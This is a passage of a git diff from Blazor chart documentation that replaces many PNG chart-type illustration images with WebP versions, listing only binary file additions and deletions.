deleted file mode 100644
index 209da331e1..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-box-whisker-chart-average-value.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-box-whisker-chart-average-value.webp b/blazor/chart/images/chart-types-images/blazor-box-whisker-chart-average-value.webp
new file mode 100644
index 0000000000..6684946e9b
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-box-whisker-chart-average-value.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bubble-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-bubble-chart-custom-series.png
deleted file mode 100644
index 29c25af505..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bubble-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bubble-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-bubble-chart-custom-series.webp
new file mode 100644
index 0000000000..1857cca116
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bubble-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bubble-chart-size-mapping.png b/blazor/chart/images/chart-types-images/blazor-bubble-chart-size-mapping.png
deleted file mode 100644
index 7f7e5b7920..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bubble-chart-size-mapping.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bubble-chart-size-mapping.webp b/blazor/chart/images/chart-types-images/blazor-bubble-chart-size-mapping.webp
new file mode 100644
index 0000000000..1cba7ec6c8
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bubble-chart-size-mapping.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bubble-chart.png b/blazor/chart/images/chart-types-images/blazor-bubble-chart.png
deleted file mode 100644
index 132ea407e4..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-bubble-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-bubble-chart.webp b/blazor/chart/images/chart-types-images/blazor-bubble-chart.webp
new file mode 100644
index 0000000000..4b4fc5ed32
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-bubble-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-cardinal-spline-chart.png b/blazor/chart/images/chart-types-images/blazor-cardinal-spline-chart.png
deleted file mode 100644
index b4268cc25c..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-cardinal-spline-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-cardinal-spline-chart.webp b/blazor/chart/images/chart-types-images/blazor-cardinal-spline-chart.webp
new file mode 100644
index 0000000000..660ccdf602
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-cardinal-spline-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius-onPointRender.png b/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius-onPointRender.png
deleted file mode 100644
index 9e4e562d6f..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius-onPointRender.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius-onPointRender.webp b/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius-onPointRender.webp
new file mode 100644
index 0000000000..3c993fa856
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius-onPointRender.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius.png b/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius.png
deleted file mode 100644
index ed35f2a872..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius.webp b/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius.webp
new file mode 100644
index 0000000000..6f94da1446
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-column-chart-corner-radius.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-column-chart-custom-series.png
deleted file mode 100644
index 2dacdfc4e6..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-column-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-column-chart-custom-series.webp
new file mode 100644
index 0000000000..6bbfef7ece
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-column-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-bar.png b/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-bar.png
deleted file mode 100644
index 15ddcf359e..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-bar.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-bar.webp b/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-bar.webp
new file mode 100644
index 0000000000..d77092c27a
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-bar.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-column.png b/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-column.png
deleted file mode 100644
index 8bb05fbb02..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-column.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-column.webp b/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-column.webp
new file mode 100644
index 0000000000..c1768b7897
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-column-chart-grouped-column.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-space-and-width.png b/blazor/chart/images/chart-types-images/blazor-column-chart-space-and-width.png
deleted file mode 100644
index 54852582d4..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-column-chart-space-and-width.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-space-and-width.webp b/blazor/chart/images/chart-types-images/blazor-column-chart-space-and-width.webp
new file mode 100644
index 0000000000..66e87f17ac
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-column-chart-space-and-width.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-width-in-pixels.png b/blazor/chart/images/chart-types-images/blazor-column-chart-width-in-pixels.png
deleted file mode 100644
index b6264cb39e..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-column-chart-width-in-pixels.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart-width-in-pixels.webp b/blazor/chart/images/chart-types-images/blazor-column-chart-width-in-pixels.webp
new file mode 100644
index 0000000000..a57b4bab14
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-column-chart-width-in-pixels.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart.png b/blazor/chart/images/chart-types-images/blazor-column-chart.png
deleted file mode 100644
index dbf7f47e33..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-column-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-column-chart.webp b/blazor/chart/images/chart-types-images/blazor-column-chart.webp
new file mode 100644
index 0000000000..7d8a7d62e6
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-column-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-high-low-open-close-chart.png b/blazor/chart/images/chart-types-images/blazor-high-low-open-close-chart.png
deleted file mode 100644
index 120d82d002..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-high-low-open-close-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-high-low-open-close-chart.webp b/blazor/chart/images/chart-types-images/blazor-high-low-open-close-chart.webp
new file mode 100644
index 0000000000..bac777a29a
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-high-low-open-close-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-hilo-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-hilo-chart-custom-series.png
deleted file mode 100644
index a6be5a9982..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-hilo-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-hilo-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-hilo-chart-custom-series.webp
new file mode 100644
index 0000000000..22ec269e06
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-hilo-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-line-chart-custom-error-bar.png b/blazor/chart/images/chart-types-images/blazor-line-chart-custom-error-bar.png
deleted file mode 100644
index baf967149c..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-line-chart-custom-error-bar.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-line-chart-custom-error-bar.webp b/blazor/chart/images/chart-types-images/blazor-line-chart-custom-error-bar.webp
new file mode 100644
index 0000000000..b35af6e393
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-line-chart-custom-error-bar.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-line-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-line-chart-custom-series.png
deleted file mode 100644
index 5e9bcfbb67..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-line-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-line-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-line-chart-custom-series.webp
new file mode 100644
index 0000000000..b91b839627
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-line-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-line-chart.png b/blazor/chart/images/chart-types-images/blazor-line-chart.png
deleted file mode 100644
index fa4bbe4eb4..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-line-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-line-chart.webp b/blazor/chart/images/chart-types-images/blazor-line-chart.webp
new file mode 100644
index 0000000000..e69040eb8f
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-line-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-multicolor-area-chart.png b/blazor/chart/images/chart-types-images/blazor-multicolor-area-chart.png
deleted file mode 100644
index 32274a4310..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-multicolor-area-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-multicolor-area-chart.webp b/blazor/chart/images/chart-types-images/blazor-multicolor-area-chart.webp
new file mode 100644
index 0000000000..d31ac20e70
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-multicolor-area-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-multicolor-line-chart.png b/blazor/chart/images/chart-types-images/blazor-multicolor-line-chart.png
deleted file mode 100644
index f9bab9c112..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-multicolor-line-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-multicolor-line-chart.webp b/blazor/chart/images/chart-types-images/blazor-multicolor-line-chart.webp
new file mode 100644
index 0000000000..b7a5875ca7
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-multicolor-line-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-area-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-range-area-chart-custom-series.png
deleted file mode 100644
index bf7851b38a..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-range-area-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-area-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-range-area-chart-custom-series.webp
new file mode 100644
index 0000000000..dc6409d2ce
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-range-area-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-area-chart.png b/blazor/chart/images/chart-types-images/blazor-range-area-chart.png
deleted file mode 100644
index 4dfb17b42e..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-range-area-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-area-chart.webp b/blazor/chart/images/chart-types-images/blazor-range-area-chart.webp
new file mode 100644
index 0000000000..a6d693b4d9
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-range-area-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-column-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-range-column-chart-custom-series.png
deleted file mode 100644
index 0b40c99480..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-range-column-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-column-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-range-column-chart-custom-series.webp
new file mode 100644
index 0000000000..a79223ceee
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-range-column-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-column-chart.png b/blazor/chart/images/chart-types-images/blazor-range-column-chart.png
deleted file mode 100644
index 69e3bfd7d8..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-range-column-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-column-chart.webp b/blazor/chart/images/chart-types-images/blazor-range-column-chart.webp
new file mode 100644
index 0000000000..d6d6964441
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-range-column-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius-OnPointRender.png b/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius-OnPointRender.png
deleted file mode 100644
index b2ba90099d..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius-OnPointRender.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius-OnPointRender.webp b/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius-OnPointRender.webp
new file mode 100644
index 0000000000..ec7e4fbf20
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius-OnPointRender.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius.png b/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius.png
deleted file mode 100644
index 25815b982b..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius.webp b/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius.webp
new file mode 100644
index 0000000000..ffa3b96f82
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-range-column-corner-radius.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-step-area-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-range-step-area-chart-custom-series.png
deleted file mode 100644
index 40c17dea24..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-range-step-area-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-step-area-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-range-step-area-chart-custom-series.webp
new file mode 100644
index 0000000000..ea0c04cbaa
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-range-step-area-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-step-area.png b/blazor/chart/images/chart-types-images/blazor-range-step-area.png
deleted file mode 100644
index 5998140570..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-range-step-area.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-range-step-area.webp b/blazor/chart/images/chart-types-images/blazor-range-step-area.webp
new file mode 100644
index 0000000000..9d9ac71b96
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-range-step-area.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-scatter-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-scatter-chart-custom-series.png
deleted file mode 100644
index ace0ebf9b6..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-scatter-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-scatter-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-scatter-chart-custom-series.webp
new file mode 100644
index 0000000000..e74de7c4ab
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-scatter-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-scatter-chart.png b/blazor/chart/images/chart-types-images/blazor-scatter-chart.png
deleted file mode 100644
index 574f275438..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-scatter-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-scatter-chart.webp b/blazor/chart/images/chart-types-images/blazor-scatter-chart.webp
new file mode 100644
index 0000000000..0b7a9fb43b
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-scatter-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-area-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-spline-area-chart-custom-series.png
deleted file mode 100644
index 286f6ecdf9..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-spline-area-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-area-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-spline-area-chart-custom-series.webp
new file mode 100644
index 0000000000..6dfec6c141
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-spline-area-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-area-chart.png b/blazor/chart/images/chart-types-images/blazor-spline-area-chart.png
deleted file mode 100644
index 6339e7dd5d..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-spline-area-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-area-chart.webp b/blazor/chart/images/chart-types-images/blazor-spline-area-chart.webp
new file mode 100644
index 0000000000..015242482b
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-spline-area-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-spline-chart-custom-series.png
deleted file mode 100644
index 4f56f9b5f4..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-spline-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-spline-chart-custom-series.webp
new file mode 100644
index 0000000000..563b12fa39
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-spline-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-chart.png b/blazor/chart/images/chart-types-images/blazor-spline-chart.png
deleted file mode 100644
index 11953e1769..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-spline-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-chart.webp b/blazor/chart/images/chart-types-images/blazor-spline-chart.webp
new file mode 100644
index 0000000000..1dbe50188c
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-spline-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart-custom-series.png
deleted file mode 100644
index 45e3aba926..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart-custom-series.webp
new file mode 100644
index 0000000000..3db1c09fc0
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart.png b/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart.png
deleted file mode 100644
index 17c007fa7a..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart.webp b/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart.webp
new file mode 100644
index 0000000000..9018ff7531
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-spline-range-area-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-area-100-chart.png b/blazor/chart/images/chart-types-images/blazor-stacked-area-100-chart.png
deleted file mode 100644
index 1897cb47f3..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-area-100-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-area-100-chart.webp b/blazor/chart/images/chart-types-images/blazor-stacked-area-100-chart.webp
new file mode 100644
index 0000000000..311ec65706
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-area-100-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-area-100-custom-series.png b/blazor/chart/images/chart-types-images/blazor-stacked-area-100-custom-series.png
deleted file mode 100644
index aba4c08986..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-area-100-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-area-100-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-stacked-area-100-custom-series.webp
new file mode 100644
index 0000000000..50412389b9
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-area-100-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-area-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-stacked-area-chart-custom-series.png
deleted file mode 100644
index d009c622eb..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-area-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-area-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-stacked-area-chart-custom-series.webp
new file mode 100644
index 0000000000..721118a378
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-area-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-area-chart.png b/blazor/chart/images/chart-types-images/blazor-stacked-area-chart.png
deleted file mode 100644
index 8de6adab51..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-area-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-area-chart.webp b/blazor/chart/images/chart-types-images/blazor-stacked-area-chart.webp
new file mode 100644
index 0000000000..91448c5b5e
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-area-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius-onPointrender.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius-onPointrender.png
deleted file mode 100644
index 5a3da03c0e..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius-onPointrender.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius-onPointrender.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius-onPointrender.webp
new file mode 100644
index 0000000000..f0d845f58d
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius-onPointrender.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius.png
deleted file mode 100644
index d377bca975..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius.webp
new file mode 100644
index 0000000000..47c646d559
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-corner-radius.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.png
deleted file mode 100644
index b8964dd419..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.webp
new file mode 100644
index 0000000000..3b15ae9acc
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart.png
deleted file mode 100644
index b780853607..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart.webp
new file mode 100644
index 0000000000..081856ba70
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-100-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius-onPointRender.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius-onPointRender.png
deleted file mode 100644
index 6cc16cd3a7..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius-onPointRender.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius-onPointRender.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius-onPointRender.webp
new file mode 100644
index 0000000000..9f389ba471
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius-onPointRender.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius.png
deleted file mode 100644
index 688ef61f18..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius.webp
new file mode 100644
index 0000000000..49b1a7e701
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-corner-radius.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.png
deleted file mode 100644
index 50537e081d..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.webp
new file mode 100644
index 0000000000..18f5c767ad
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-custom-series.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-grouping.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-grouping.png
deleted file mode 100644
index 814b4fabe7..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-grouping.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-grouping.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-grouping.webp
new file mode 100644
index 0000000000..b040daa297
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart-grouping.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart.png b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart.png
deleted file mode 100644
index 249c2b10c5..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart.webp b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart.webp
new file mode 100644
index 0000000000..b37b390d71
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-bar-chart.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.png b/blazor/chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.png
deleted file mode 100644
index 5d9cffa6d8..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.webp b/blazor/chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.webp
new file mode 100644
index 0000000000..86e49f910a
Binary files /dev/null and b/blazor/chart/images/chart-types-images/blazor-stacked-colum-chart-with-grouping.webp differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius-onPointRender.png b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius-onPointRender.png
deleted file mode 100644
index b0f88b037f..0000000000
Binary files a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius-onPointRender.png and /dev/null differ
diff --git a/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius-onPointRender.webp b/blazor/chart/images/chart-types-images/blazor-stacked-column-100-chart-corner-radius-onPointRender.webp
new file mode 100644
